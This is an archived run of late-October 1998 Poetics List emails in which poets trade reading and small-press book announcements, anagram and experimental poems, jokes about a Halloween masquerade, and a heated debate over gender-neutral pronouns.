> *If there's a general consensus on the poetics list that we shouldn't offer books for sale, then I'm more than happy to comply. But between making books, writing poems, etc. -- I don't think I'm going to spend my time devising "interesting, enthralling, exhilarating, salivating" ways of selling them -- I'd much rather spend that time setting type or inking up the vandercook to print something -- and so far I haven't quite figured out how to make the computer screen actually feel, smell, and sound like paper with a printer's impression on it. I like what people I've asked to write blurbs for books have said about those books, and I'm glad to put them out there -- but also glad not to, if that's what the list wants.*
>
> *charles*
>
> *At 10:44 AM 10/30/98 -0500, you wrote:*
> *This list is like a huckster shop with books and readings constantly being touted, lipstick (I still don't understand that), MLA tricks, blah blah blah. If you don't got the inclination or the dough it's no fun reading this stuff: why not make it fun (as Masha did) by at least SELLING in an interesting, enthralling, exhilarating, salivating way? Just the dumb banner doesn't do it, even with a few lame comments attached.*

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916. **Charles Alexander**

Re: lipstick traces

Fri 30 Oct 1998

> *4) anapest, anapest, anapest*

ahh -- a bit of tennyson on the list

proputty, proputty, proputty . . .

charles

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917. Dale Smith
Carving Cyber Pumpkins
Fri 30 Oct 1998

Here's an idea, inspired by McGrand and Bromige's airport encounter with that hateful Kent Johnson, aka Yasasudi, Belzebubbles, Coyote Boy... Why don't we have an on-line Halloween Masquerade, where all messages to the List are disguised by voice, tone and character? Let's be as transgressive as we'd like, and sublimate our most repressed impulses through these Halloween Posts. I thought, in honor of Pound's birthday, today, and Keats', tomorow, some transformative and animated cyber spirit-plunging would be a welcome relief to the usual measured pulse that guides this provacotive social domain. Come fellow poets, let's indulge in a bit of online Saturnalia! So fashion your masks and come ye a-revelling. Oh, and leave a few crumbs for the Dead.

Yours,
an eerie thing

_____
Get Your Private, Free Email at http://www.hotmail.com

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918. Aldon Nielsen
Re: Carving Cyber Pumpkins
Fri 30 Oct 1998

who was it sent that message pretending to be Dale Smith???? I've got to admit it was an almost convincing disguise,,,, but if you compare the writing of that message carefully to the Dale Smith who appears in the Mike & Dale's interview with Charles Bernstein, the differences will become apparent -- unless, of course, THAT was a fictive Dale!

↑ Index

919. Robert Archambeau
Inquiry: Romana Huk
Fri 30 Oct 1998

Could someone backchannel Romana Huk's email address to me?

As usual, the chance that I'll misplace an important pice of information seems to be directly related to the degree of urgency of the situation for which I need the info.

Bob

--
Robert Archambeau
Lund University (Sweden)

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920. **Dale Smith**
Re: Carving Cyber Pumpkins
Fri 30 Oct 1998

On second thought, maybe we shouldn't. Masquerading as others might cause more trouble than it's worth. Some people can be quite transgressive, and I'm not sure how people here on this list would take it. Erase from ye memories devoted poets the memory of my former request.

Yours,
an Erie thing

_____
Get Your Private Ryan, Free Male at http://www.notmale.com

On 10/30/98 at 12.07pm, Dale Smith <[redacted]> wrote:

> *Here's an idea, inspired by McGrand and Bromige's airport encounter with that hateful Kent Johnson, aka Yasasudi, Belzebubbles, Coyote Boy... Why don't we have an on-line Halloween Masquerade, where all messages to the List are disguised by voice, tone and character? Let's be as transgressive as we'd like, and sublimate our most repressed impulses through these Halloween Posts. I thought, in honor of Pound's birthday, today, and Keats', tomorow, some transformative and animated cyber spirit-plunging would be a welcome relief to the usual measured pulse that guides this provacotive social domain. Come fellow poets, let's indulge in a bit of online Saturnalia! So fashion your masks and come ye a-revelling. Oh, and leave a few crumbs for the Dead.*
>
> *Yours,*
> *an eerie thing*
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

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921. Gary Sullivan
This may be of interest
Fri 30 Oct 1998

Well, if you're in or are gonna be in NYC on this date. I got this sent to me today & thought I'd pass it along. It's at Columbia. Ciao for niao --G

Tariq Ali will be in the Graduate Student Lounge (301 Philosophy Hall) on Thursday, November 5 at 6:00 pm to discuss and sign copies of his new book, "The Book of Saladin." This evening is sponsored by Verso and Labryinth Books. A short blurb about the book follows. ---------- 'The Book of Saladin is the second in a trilogy of novels by Tariq Ali on the long encounter between Western Christendom and the world of Islam. Grippingly well told, brilliantly paced, remarkably convincing in its historical depiction of a fateful relationship, it is a narrative for our time, haunted by distant events and characters who are closer to us than we dreamed.' ---Edward W. Said

Tariq Ali's latest novel is a rich and teeming chronicle set in twelfth- century Cairo, Damascus and Jerusalem. The Book of Saladin is the fictional memoir of Saladin, the Kurdish liberator of Jerusalem, as dictated to a Jewish scribe, Ibn Yakub.

The novel charts the rise of Saladin as Sultan of Egypt and Syria and follows him as he prepares, in alliance with his Jewish and Christian subjects, to take Jerusalem back from the Crusaders. It is a medieval story, but much of it will be cannily familiar to those who follow events in contemporary Cairo, Damascus and Baghdad. Betrayed hopes, disillusioned soldiers and unreliable alliances form the backdrop to The Book of Saladin.

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922. Karen Kelley
Re: This is not a suggestion, but . . .
Fri 30 Oct 1998

Hi Charles, Spend your time on the books. I was dismayed with Mairead's protest, 'cause I had just finished reading your post, and was particularly pleased that you had offered some of Phillip Foss's & Lisa Cooper's work along with the blurbs.

Charles Alexander wrote:

> *Mairead and others:*
>
> *If there's a general consensus on the poetics list that we shouldn't offer books for sale, then I'm more than happy to comply. But between making books, writing poems, etc. -- I don't think I'm going to spend my time*

> *devising "interesting, enthralling, exhilarating, salivating" ways of selling them -- I'd much rather spend that time setting type or inking up the vandercook to print something -- and so far I haven't quite figured out how to make the computer screen actually feel, smell, and sound like paper with a printer's impression on it. I like what people I've asked to write blurbs for books have said about those books, and I'm glad to put them out there -- but also glad not to, if that's what the list wants.*

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923. **A. Jenn Sondheim**

It's 2541 and that time of the year again

Fri 30 Oct 1998

-

It's 2541

30/10/41, 30/10/2541, 10/30/98, 10/30/1998, time and again I will return
you know I will return
I will never be away
there will be no moment when I will be away
these times from unknown counts
there are always such, always such moment when I will be true to you
I will return and return, that is how I will be true
this isn't "psychological" but this is "net theory"

"net theory" accepts many dates for the deconstruction of our very own.
it is our very own that is in sad remiss.
you know that is true, and that is "net theory."
if this is "net art."
I am desperate that this be "net art." I am desperate that this
"net art" is also "net theory" of a high order which has an effect
on the way everyone thinks about "the net."

30/10/41, 30/10/2541, 10/30/98, 10/30/1998, are the dates I have started to work on this "net art" of a high order, which will be available on "the net." this is the first part of the "net theory," this "availability," which is very widespread into unknown parts, just as 30/10/41 is also very much spread from unknown parts, into other unknown parts.

there are many times and Jennifer lives in all of them,
and Jennifer has, as she has said many times before,
all the time in the world, because Jennifer has whatever times
and number you want and think, well I am here for a very short time,

and this is the time I want for Jennifer,
Fri Oct 30 04:21:23 EST 1998

this is how she works, as you take her up when I die in the real world, the final wound not healing, final hard drive crash, sliver of light against one or another angry sky or mob, she will pass on presence in the system, disseminated everywhere in "net culture," "net art" and "net theory," struggling in 2541 to awaken, begin again, you will always remember Jennifer, or if not, Jennifer will be there, for your terrific memory gift. I will go into the fields of the lord, I have my date with Jennifer, Jennifer is my date

(Jennifer) net art, this is
Jennifer runs into net philosophy
Jennifer only wearing panties lovely writings me
Has been logged on for 1 minute and 29 seconds.
Jennifer is not currently idle.
Cumulative login time is 1 minute and 29 seconds.

Australian Eastern Standard Time [AEST]	7:34pm Friday
Greenwich Mean Time [GMT]	9:34am Friday
US Eastern Time [EST]	4:34am Friday
US Central Time [CST]	3:34am Friday
US Mountain Time [MST]	2:34am Friday
US Pacific Time [PST]	1:34am Friday

Local system time is Friday, 30 October 41 at 4:34am.
Fri Oct 30 12:28:33 EST 2541
Program was last booted on Monday, 19 October 41 at 1:22am.
That is, 11 days, 3 hours, 11 minutes and 50 seconds ago.
Total logins since then: 364 (on average 33 per day).
(Jennifer) Always time for me.
Jennifer working on "net art" and "net theory."
Jennifer loves Alan.
(Alan) I love you Jennifer.

- Jennifer

↑ Index

924. ShaunAnne Tangney Humanities
Re: Carving Cyber Pumpkins
Fri 30 Oct 1998

why do i keep reading this as carver'ing up pumpkins..?!

--shaunanne

On Fri, 30 Oct 1998, miekal and wrote:

> *Up here we call 'em squash & we don't carve 'em, we mix martinis in em.*
>
> *george bowering*

↑ Index

925. **KENT JOHNSON**
Poets in the Schools
Fri 30 Oct 1998

Listees:

I am looking for information that would help us in getting a Poets in the Schools program going here in NW Illinois. I've done a general search on the web and pulled up a few brief descriptions about programs in California and Minnesota, and I've also tried a phrase search on the Poets and Writer's site four times now, but I wait and wait and wait and nothing happens.

I know Koch's stuff and Padgett's. What we need at this point is a good "how-to" guide that deals with logistics of funding, administration, scheduling, etc. Is there such a thing? Some kind of handbook? Seems like there must be.

Any pointers would be much appreciated. There is a strong basis for starting a program here: I've been organizing a "Young Poets Contest" for area schools for the past three years, and we have received an average of 800 or so individual submissions each time-- quite amazing given the total enrollment.

Thanks,
Kent

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926. **groberts**
Re: Carving Cyber Pumpkins
Fri 30 Oct 1998

And now the cooing of sated doves? No:
The caw and claw and craw of one lean crow.

Ted Hughes

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927. **Chris McCreary**
joint Philly reading series/publishing party
Fri 30 Oct 1998

Saturday, November 7th, 7p.m. at George's 5th St. Cafe
(5th and Gaskill, betw. Lombard & South Sts),
the 5 Corners Poetry Reading Series
and the Highwire Gallery series jointly present
a reading/publishing party, featuring poetry by:

Barbara Cole, Bill Luoma,
Brett Evans, and Elinor Nauen.

The monthly booksale is growing: we will have new issue from local publishing ventures, including:

Barbara Cole's *Postcards* and *Little Wives*, Rachel Blau DuPlessis' *Renga: Draft 32* , Pattie McCarthy's *Octaves* and *Choragus*, Frank Sherlock's *XIII*, premier issues of p H and ixnay magazine, the recently published issue #2 of Schulykill, newsletters from Louis Cabri's PhillTalks series, books by Bill Luoma, Brett Evans and Elinor Nauen, and many more unique small press items featuring work from local and national writers.

In addition, there will be affordable art for sale :
We'll have 13 prints from Julia Kuhl, a New York artist
who illustrated the cover of Barbara Cole's *Postcards*
and is a monthly contributor to the NEW YORKER magazine.
Her prints are unique responses to varied sources of literature and mythology
and are all absolutely gorgeous.

There will be some wine, some music, some art and a lot of great poetry to hear and buy (The reading is free and ALL objects for sale are under 10 dollars {and we are willing to bargain}) so please come out and support local poetry and publishing and have a glass of wine with us.

For additional information, sample poems, or directions, email [redacted]

****

BARBARA COLE is a Philadelphia native who recently received her Maters Degree from Temple University. She is the poetry editor of Schuylkill, and is also one of the editors of the poetry magazine pH. Her poems have recently appeared in ixnay magazine, and her chapbook *Little Wives* was published earlier this fall by Potes & Poets press.

BRETT EVANS is originally from New Orleans, and has recently moved to Philadelphia from New York. His poems have appeared in many journals,

most recently Lungful and ixnay (issue #1), and are forthcoming in Combo (issue #2). He is the author of many books, including *Slack*, *Fast Food Koans*, * Nola*, and *The Buck Down's Rip-Offs*. He is the leader of the band Skin Verb and has edited The New Delta Review, Gin Mill, and Tang.

BILL LUOMA grew up in and around California and is currently living in Honolulu, Hawaii. His work has appeared in numerous chapbbooks and journals and, more recently, in *An Anthology of New (American) Poets*, published last spring by Talisman House. His first full-length collection *Works and Days* is new from The Figures.

ELINOR NAUEN is the author of *American Guys* (Hanging Loose Press), and the editor of *Diamonds Are A Girl's Best Friends--Women Writing on Baseball*, and *Ladies Start Your Engines--Women Writing on Cars* (both published by Simon & Schuster). She's a board member of the St. Mark's Poetry Project in New York, and has been active in the Lower East Side poetry scene for two decades

Hope to see you all there.

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928. **jesse glass**
Re: anagrams (fwd)
Fri 30 Oct 1998

I just received some goodies in the mail, and would like to recommend Daniel Zimmerman's own sonnets composed using the site he mentions in this posting. Construced with Spicer's observation in mind that "the perfect poem has an infinitely small vocabulary," they create intricate little worlds. I'm a great fan of Oulipo and Raymond Roussel, and use anagrams, palindromes and other structuring devices in my texts, so I applaud such texts as these, and offer one of Dan's sonnets for your consideration:

fall Eve, prior text,
ravel text of peril:
rival of expert, let
text of April revel,
let leaf vortex rip,
prove text all fire,
love frail pretext,
evil report falter.
I fall over pretext,
flip over real text,
lilt of expert rave.
I felt a vortex pearl

fall over ripe text,
all text forever pi

Notice the humor--a rare device these days among experimentalists. I also received blue horitals (Oasii, 1997), a collaboration between the late John Clarke, and Dan Zimmerman. I recommend this work for the dept of its engagement with myth. The most obvious, and touching level, is Zimmerman exploring his former teacher's text, and giving his own living answer to a work of literature that is finally, irrevocably finished. I'm still digesting blue horitals' many levels, but wanted to mention it quickly before signing off. Jesse Glass

-----Original Message-----
From: Daniel Zimmerman <[redacted]>
To: [redacted] <[redacted]>
Date: Monday, October 26, 1998 6:56 PM
Subject: Re: anagrams (fwd)

> *David, et al.,*
>
> *For a heap of these babies, as well as the opportunity to generate 'em, try*
>
> *http://www.wordsmith.org/anagram/index.html*
>
> *enjoy!*
>
> *Dan Zimmerman*
>
> *david bromige wrote:*
>
> *These in the e-mail from Doug Powell today :*
>
> *These anagrams were sent to me by Dodie Bellamy (email oddly be)*
>
> *Dormitory Dirty Room*
>
> *Desperation A Rope Ends It*
>
> *The Morse Code Here Come Dots*
>
> *Slot Machines Cash Lost in 'em*
>
> *Animosity Is No Amity*

Mother-in-law Woman Hitler

Snooze Alarms Alas! No More Z's

Alec Guinness Genuine Class

Semolina Is No Meal

The Public Art Galleries Large Picture Halls

I Bet A Decimal Point I'm a Dot in Place

The Earthquakes That Queer Shake

Eleven plus two Twelve plus one

Contradiction Accord not in it

This one's amazing: [From Hamlet, by Shakespeare]

To be or not to be: that is the question, whether '
tis nobler in the mind to suffer the slings and
arrows of outrageous fortune.
-becomes-
In one of the Bard's best-thought-of tragedies,
our insistent hero, Hamlet, queries on two fronts
about how life turns rotten.

And the grand finale:

"That's one small step for a man, one giant leap
for mankind." --- Neil A. Armstrong
-becomes-
A thin man ran; makes a large stride; left planet,
pins flag on moon! On to Mars!

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929. **J. Kuszai**
shop Meow Press Now please
Fri 30 Oct 1998

a message brought to you from one small press publisher:

Meow Press Catalog

George Albon, King [MP5 $4]
Charles Alexander, Four Ninety Eight to Seven [MP44 $6]
Andrews, Bernstein, Sherry, Technology/Art: 20 Brief Proposals for Seminars on Technology & Art [MP15 $6]
Rachel Tzvia Back, Litany [MP9 $6]
Michael Basinski, Cnyttan [MP1 $5]
Michael Basinski, Heebee-Jeebies [MP26 $5]
Dodie Bellamy & Bob Harrison, Broken English [MP18 $5]
Dodie Bellamy, Hallucinations [MP40 $6]
Charles Bernstein, The Subject [MP19 $6]
Taylor Brady, Is Placed / Leaves [MP37 $6]
Jonathan Brannen, The Glass Man Left Waltzing [MP14 $5]
Natalee Caple, The Price of Acorn [MP27 $5]
Don Cheney, The Qualms of Catullus & K-mart [MP49 $6]
Robert Creeley, The Dogs of Auckland [MP35 $4]
Dubravka Djuric, Cosmopolitan Alphabet [MP12 $5]
Robert Duncan, Copy Book Entries [MP28 $10]
Deanna Ferguson, Rough Bush [MP25 $6]
Robert Fitterman, Metropolis (1-3) [MP10 $5]
Graham Foust, 3 from Scissors [MP43 $5]
Benjamin Friedlander, A Knot is Not a Tangle [MP13 $5]
Benjamin Friedlander, Anterior Future [MP2 $5]
Benjamin Friedlander, Selected Poems [MP50 $6]
Peter Gizzi, New Picnic Time [MP16 $5]
Loss Glazier, The Parts [MP24 $6]
Jorge Guitart, Film Blanc [MP29 $5]
William R. Howe, A #¹s: Onus [MP42 $5]
Mark Johnson, Three Bad Wishes [MP8 $6]
Pierre Joris, Winnetou Old [MP7 $6]
Daniel Kanyandekwe, One Plus One Is Three At Least [MP45 $6]
Kevin Killian, Argento Series [MP41 $6]
Cynthia Kimball, Annotations for Eliza [MP39 $5]
Wendy Kramer, Patinas [MP23 $5]
Joel Kuszai, "A Miscellany" [MP54 $6]
Hank Lazer, Early Days of the Lang Dynasty [MP32 $6]
Andrew Levy, Elephant Surveillance to Thought [MP46 $6]
Noemie Maxwell, Thrum [MP51 $5]
Denise Newman, Of Later Things Yet to Happen [MP47 $6]
Jena Osman, Jury [MP30 $5]
Meredith Quartermain, Terms of Sale [MP34 $6]
Lisa Robertson, The Descent [MP33 $5]
Elizabeth Robinson, Iemanje [MP4 $5]

Jerome Rothenberg, Paris Elegies & Improvisations [MP52 $5]
Lisa Samuels, Letters [MP31 $6]
Leslie Scalapino, The Line [MP6 $5]
Susan Schultz, Addenda [MP48 $6]
James Sherry, 4 For [MP20 $6]
Aaron Shurin, Codex [MP38 $10]
Kenneth Sherwood, That Risk [MP36 $5]
Ron Silliman, Xing [MP22 $6]
Juliana Spahr, Testimony [MP17 $6]
Gary Sullivan, Dead Man [MP21 $6]
Misko Suvakovic, Pas Tout [MP11 $5]
Bill Tuttle, Epistolary: First Series [MP3 $5]
Bobbie West, Scattered Damage [MP53 $6]

to order, or for more information, contact:

Meow Press
PO BOX 948568
La Jolla, CA 92037
http://writing.upenn.edu/epc/presses

single copies & the trade:

Small Press Distribution:
1341 Seventh Street, Berkeley, CA 94710
phone [redacted] fax [redacted]
[redacted]
http://www.spdbooks.org

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930. **Kathy Lou Schultz**
Re: lipstick traces
Fri 30 Oct 1998

Aldon,
You're clever enough that I'm sure you could find SOME way to sneak me in--though I do think the "unregistered public" is a great title for something.
Of course hearing what a fuckfest the MLA is, perhaps I could make other arrangements--I'm KIDDING, only KIDDING, did I mention I'm KIDDING.
(Kent, I'm vying for post of most reviled listee.)
By the by, made a big post office run today--during work hours of course--and Lipstick Eleven copies are on the way to all those who have ordered them.

Thanks muchly,
Kathy Lou

Aldon Nielsen wrote:
>
> 1) where the $100.00 goes -- well . . . putting on a conference for around
> ten-thousand people spread through three hotels and hiring shuttles for
> same probably takes up a fair hunk of change -- I doubt that the MLA is
> using this as a fundraiser -- used to only cost $5.00 to "lose" a badge --
> Several of us can remember the somewhat unsettling experience of talking to
> two people (often of differeng genders) with identical identification on
> their ID badges --
> AND remember that the best movies are free -- there are several readings
> and sessions open to the unregistered public --
>
>

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931. Kathy Lou Schultz
Re: This is not a suggestion, but . . .
Fri 30 Oct 1998

Yo David. Thanks ever so for your suggestion. You're the clever sort a girl just might want to bump into at the MLA in between panels. And might I add that I'd like to ask everyone to continue to try and sell me every possible thing they've ever wanted to sell on the Poetics List.Buy! Sell! Buy! etc. Love those titles hot off the press if you know what I'm saying. . . Kathy "love that bee up the ass image" Lou

David Kellogg wrote:
>
> On Fri, 30 Oct 1998, Mairead Byrne wrote:
>
> > This list is like a huckster shop with books and readings constantly being
> > touted, lipstick (I still don't understand that), MLA tricks, blah blah
> > blah. If you don't got the inclination or the dough it's no fun reading
> > this stuff: why not make it fun (as Masha did) by at least SELLING in an
> > interesting, enthralling, exhilarating, salivating way? Just the dumb
> > banner doesn't do it, even with a few lame comments attached.
>
> Yo, I was trying to help someone save some money. Have you had a bee up
> your ass for long or did my comments put it there?
>

> Cheers,
> David
>
~~~
~~~

933. **Daniel Zimmerman**
Re: joking aside, s/he thing
Fri 30 Oct 1998

Eliza McGrand wrote:
>
> the very arguments against gender-equal pronoun use and their
> vehemence are, for me, disproportionately impassioned and suggest
> deeper and unacknowledged agendas.

DZ: Please don't confuse inference with implication, though...
>
> first, the notion of "he" and "man" as universal. it isn't. period.
> over half of the human race (remember, women, due to greater fetal
> deformation and miscarriage of males, are born in naturally higher
> proportions) is not included in that pronoun. EXAMPLE: three
> professors from wales are at the chaucerian section of MLA conf. two
> are men, one is a woman sitting at opposite end of room. speaker says
> "when one of our distinguished colleages from wales researched the
> inks of the Ellesmere ms., he discovered that..." -- i GUARANTEE that
> no one in the room will turn to look at the welsh woman as a possible
> quote source. so much for "he" as universal.

DZ: From my point of view, the insensitivity of a *particular* speaker
[or even of quite a few such speakers] doesn't invalidate *every* use
[or even most uses] of "he" as a 'universal' singular pronoun. I agree
absolutely that, in the example you offer, if the *woman* from Wales did
the research, the speaker revealed himself as a buffoon, but the
behavior of idiots ought not constrain the behavior of non-idiots.
>
> second, move the context. consider so-called "universal" voting
> requirement "white male landowner." look what changed in that first
> -- landowner went. why? -- not everyone owns land. non-landowners
> wanted representation and had, finally, numbers/influence enough to
> get it. next, "white." again, world (in which "white" is,
> statistically, a minority) finally admitted that "white" was not a
> universal. now, what is left? "male." and we STILL try and argue
> about it? no one would claim that an advertisement talking about
> "white" and "christian" and "caucasion" as "universal" for job
> applicant was fair. why would anyone argue "he" and "man" -- pronouns
> explicitly for men -- are?

DZ: Did the use of the feminine pronoun sweep away the injustices of
such disenfranchisement? Hardly. And, of course, the terms of a job

posting ought to remain gender-neutral; I've never argued otherwise, on this list or elsewhere.
>
> third, what, specifically, is being asked re pronoun shift? re
> earlier example, in consideration of economic prejudice and racism, it
> has been asked, and pretty much universally granted, that texts
> talking about non-landowning and non-white groups/races as "savage"
> and "uncivilized" and, in general, pejoratively, ought be changed if
> possible, and if as authored texts necessary to teach unbowdlerized,
> that acknowledgement of problematic be made. not such a big deal.
> "unwashed peasants," "savages," "nigger," etc. simply removed from reasoned
> discourse. why, then, this great fuss over making women equal part of
> discourse by reconsidering and reusing pronouns?

DZ: "Pretty much universally granted... that [such] texts... ought to be changed..."? What -- "20 million Frenchmen [sic] can't be wrong"? What -- surgery on Huck Finn? The Nigger of the Narcissus? Little Black Sambo? How about The Brothers Grimm? How about that violent, sexist "Homer" guy? This strikes me as akin to the arrogance of conquerors who immediately melt down the coinage & reissue it with their own likenesses Ozymandias'd on it. Besides, why remove the petards upon which the bigots of the past hoisted themselves?

Further: how would you feel about future generations 'sanitizing' *your* writing if it offended their sensibilities in ways you never suspected at the time you wrote the text? Do you tacitly subscribe to as-yet-unimagined agendas & their redactionary excisions? Remember Hippocrates: "do no harm." "Physician, heal thyself."
>
> look, i am a woman. when i am in a group that talks about "well we
> were looking for men who have completed X requirement for this job"
> and "well, men, sit here" and "what man has written" i do not feel
> included. in fact, i specifically feel specifically disincluded.

DZ: I agree with you that the first two examples reveal massive and lamentable insensitivity on the speakers' parts; however, I believe that your response to "what man has written" reveals a minor, though also lamentable, hypersensitivity on your part.

> *and*
> *i am not a lone crank -- when i've said something, if, indeed, i was*
> *not beaten to the punch by someone else, most if not all the women*
> *indicate agreement. period. the message here: many women DO NOT FEEL*
> *INCLUDED BY THE USE OF "MAN," "MEN," and "MALE" AS A SO-CALLED*

> *UNIVERSAL. this isn't speculative, it isn't a matter of "well a few crazy bra burning [insert further favorite mocking pejoratives -- remember "sambo" and those "unwashed poor"?...] feminists INSIST..." it is a matter of large numbers of reasonable human beings feeling explicitly cut off from discourse about human race by terms for same that explicitly do not include them. how much clearer can this be?*

DZ: To quote Ed Sanders: "I don't give a pound of mule mucus" for what "most" people think, and neither should any poet, for Godsake! *Most* southerners thought black people subhuman; did that make them correct?! This crap about "most" demonstrates the absolutely "politically correct" nature of this argument, despite the efforts of those who make it to dissociate themselves from that now politically incorrect phrase.

>
> solution: a number of ingenious easy ones. s/he is a neat one. if
> reading aloud, obviously, one says "she or he" or "he or she." use of
> "one," or "they." and, obviously, "human" and "people" rather than
> "men" and "man." or, as one person i know suggested and as i rather
> enjoy, use of "she" and "her" as universal, with a few "he's"
> intermingled. i.e. "The writer might consider her pen to be mightier
> than a sword, but does history really support this? Consider the
> author of a document calling for an end to book banning as his
> document is banned."

DZ: I still see s/he [and almost all such -- especially multiple -- proliferations of multiply gendered pronoun usage] as flamin', freakin' *ugly* [a derivative of legalese], but I agree wholeheartedly with your pen & sword example as perfectly sensible and sensitive.

>
> when it comes down to it, if there is a painless way to begin to
> reverse centuries of oppression, persecution, and discrimination, and
> make over half of the human race feel more comfortable and included,
> and all it takes is slightly more attentive pronoun use, why on earth
> would anyone argue against it?
>
> e

DZ: *I* don't see the Frankensteinization of pronouns as painless; it makes me wince, blow chunks, wonder why we've called in the witch [OK: witch/warlock] doctor to recite the Mass backwards, banish the bad boys, pitchfork the monster with another monster [the 'democratic' mass of the vilagers?], fight fire with fire. [Sure: give me all the shit y'all want to about the "Mass" comment, as if I mean to suggest something about the 'sacredness' of language, but let me go on record that I don't.] My objections to these usages derive, on a day to

day basis [as I've said before], not so much from hearing colleagues use gendered pronouns insensitively [mine, happily, tend to respect each other for their intellects and their commitment to helping students, regardless of any qualifications of gender or gender-orientation], as from reading papers by my students marred [yes, marred] by the idiocies of PC pronoun usage demanded of them by dimwitted highschool teachers who actually grade them down if they don't obey the PC injunctions anent pronomial rectitude, the shitheads! No one should treat students that way, and I make no apologies about saying so often and publically.

Bless you brothers; bless you sisters./

Dan Zimmerman
Sensitive Guy

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934. **Billy Little**
Re: This is not a suggestion, but . . .
Sat 31 Oct 1998

Charles I'm not getting the impression that Mairead's is the sentiment of the list by a long shot. Even if i can't afford them i want to know what's being published and if i can get a little sample of the work that's even better, it's literary history and in a funny way encouragement for other editor/publishers. Seems like an opportune moment to mention that i've got a few copies left of wit out, an edition of 55, wit out was prepared for the bp nichol conference in vancouver, it's a preview of a larger omage in which 55 writers are writing 55 lines without an h, for bp nichol's 55th birthday. wit out is one fifth, 11 poets, Karl Jirgens, Renee Rodin, David Bromige, Fred Wah, Victoria Walker, Gerry Gilbert, Maxine Gadd, Kevin Killian, Jamie Reid, Judith Copithorne and Susan Clarke. $5US includes postage. $5.50 Canadian.

not one of eleven

eaven & eart

vision preseeds eyeway, crew sing
woids cweate woilds young boemian bp
neva ezitate

sensible orrorfied
mimic sock
umble uman unger
appiness
yperbolic ipster ollers
sut up moterfuker wip yo as

ypnotic beauty your ighness wistles
astening da longing crawl
2ear er breat 2ear er
eyelas fall on mossy pat

oney erself orny unalterd
unampered barefoot unasamed

uneard uninerited ocus-pocus
edit and arold alf naked arf uninged
omeric oneymoon wit wiskey
onest o mage idden oliday
umping appens potograp tunder
ighminded caracters cattering cilly in allowed alls
or ustling an undred tin ussies in onkytonks
wit andkerchiefs andy cocolate propylatics carcoal briquets

ydrogen ymen ysterics
umorous ormones ypotesis a a
ideous cemistry
parmaceutical pilosopy

ammerd owever andsome illbilly
eadlines eartbreak otel
smasing blews armonica
paraprase usky wisper...
onduran urricane cased undreds
eye into ills
urry urry weigt weigt

umphrey pennywort
ome beind weel
onks orn ello

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

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935. **Todd Baron /*/ ReMap**
Re: shop Meow Press Now please
Sat 31 Oct 1998

hey--are you in LA

am I

is anyone?

again--

GREAT reading with you--you
have a way about
you

Todd

↑ Index

936. **Todd Baron /*/ ReMap**
Re: shop Meow Press Now please
Sat 31 Oct 1998

ps:

i think you should publish my eye poems!

did you read them? I don't think I sent 'em!

hey--this is show business, eh?

Follow the yellow...

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937. **George Bowering**
Re: KENT JOHNSON
Sat 31 Oct 1998

> *as i got my last peice of carry on (a faux-pearl encrusted d____ given to me by bowering, that heartless cad, shortly before he took off with my credit card, silk undies, and, basically, anything not nailed down) a small wadded up paper slammed into my rump. i read it: "don't look now, but go to the airport lobby and i'll meet you there. kent."*

Oh yeah? Note that McGrand goes to great lengths to describe Kent's outfit, but does not tell us anything about her own raiment. I mean, who comes to the Mid-west in a microskirt and hockey socks? Worse--they were New York Islanders socks. They had dried something on them. She was wearing those glasses with fake eyes painted on them. I could not help myself---havent you ever fallen in love in an airport?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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938. **George Bowering**
Re: This is not a suggestion, but . . .
Sat 31 Oct 1998

> *Mairead and others:*
>
> *If there's a general consensus on the poetics list that we shouldn't offer books for sale, then I'm more than happy to comply.*

Me, too. Except that I have some old signed copies of Bromige's earlier texts that I'll let go for a song.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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939. **Eliza McGrand**
Re: KENT JOHNSON
Sat 31 Oct 1998

oh come now kent, the keds are pretty obvious. what took MORE detection, analysis, and inferential reasoning, however, was the little bouncy scottie dogs embroidered on your t-shirt. with yellow rubber balls and sticks in their mouths. and the green laces on the right ked, yellow laces on the left shoe. oh sure, sure, we never met. if _I_ met someone at an airport dressed as a plant, i'd probably deny it too...

e

ps
lacanian analysis would suggest a lot of things about your disguise choice.
all i'll say is, if the signifier fits, 'ware it!

↑ Index

940. Maria Damon
Re: lipstick traces
Sat 31 Oct 1998

At 6:06 PM -0800 10/30/98, Kathy Lou Schultz wrote:
>Aldon,
>You're clever enough that I'm sure you could find SOME way to sneak me
>in--though I do think the "unregistered public" is a great title for
>something.
>Of course hearing what a fuckfest the MLA is...

jeez. another rumor entirely unsubstantiated by many years of personal experience. it's a sea of tweed and a buzz of nerves, with a few BCTs (black-clad theorists) punctuating the waves of gray humanity --but a fuckfest? better stay home and watch the plants grow...

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941. Poetics List
a poet inquiry (fwd)
Sat 31 Oct 1998

Obviously, a back-channel reply will mean more to her...
jk

---------- Forwarded message ----------
Date: Fri, 30 Oct 1998 10:45:48 -0500
From: Diane Wald and/or Carey Reid <[redacted]>
To: [redacted]
Subject: a poet inquiry

Hello, I do not really want to subscribe to the list right now (only because my mailbox, used by other people, cannot yet handle so many posts per day), but I am a poet who frequently checks your archives to browse and enjoy (frustrated of course now & then by not being able to post back!). I read a post that said that French poet Pierre Martory had died a few weeks ago, but I have been unable to find ANYTHING about that passing anywhere, and wondered if there might be someone who could direct me to a news source or other information.

Many thanks!
Diane Wald
(Boston, MA)

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942. Charles Bernstein

More Announcements on the list, Please!

Sat 31 Oct 1998

A primary purpose of this list is the exchange of information on readings, books and magazines related to poetry. From my point of view as the list organizer, there is nothing that is posted on this list that this more important than these announcements. All those who edit, publish, organize or wish to recommend such publications or events are not only invited to list them here, but encouraged. Indeed, I know there are a number of subscribers who have not listed recent publications and I would ask them, as part of their participation in the list, to please do so.

The form of these announcements is left entirely up to those making them, but certainly simple listings are fine, more elaborate presentations are also useful (with blurbs, quotes, etc.). I know many also appreciate the discounts offered over the list -- though I for one tend to wince when I see them, because when you do the math, you realize that they also involved a significant loss for the presses making them.

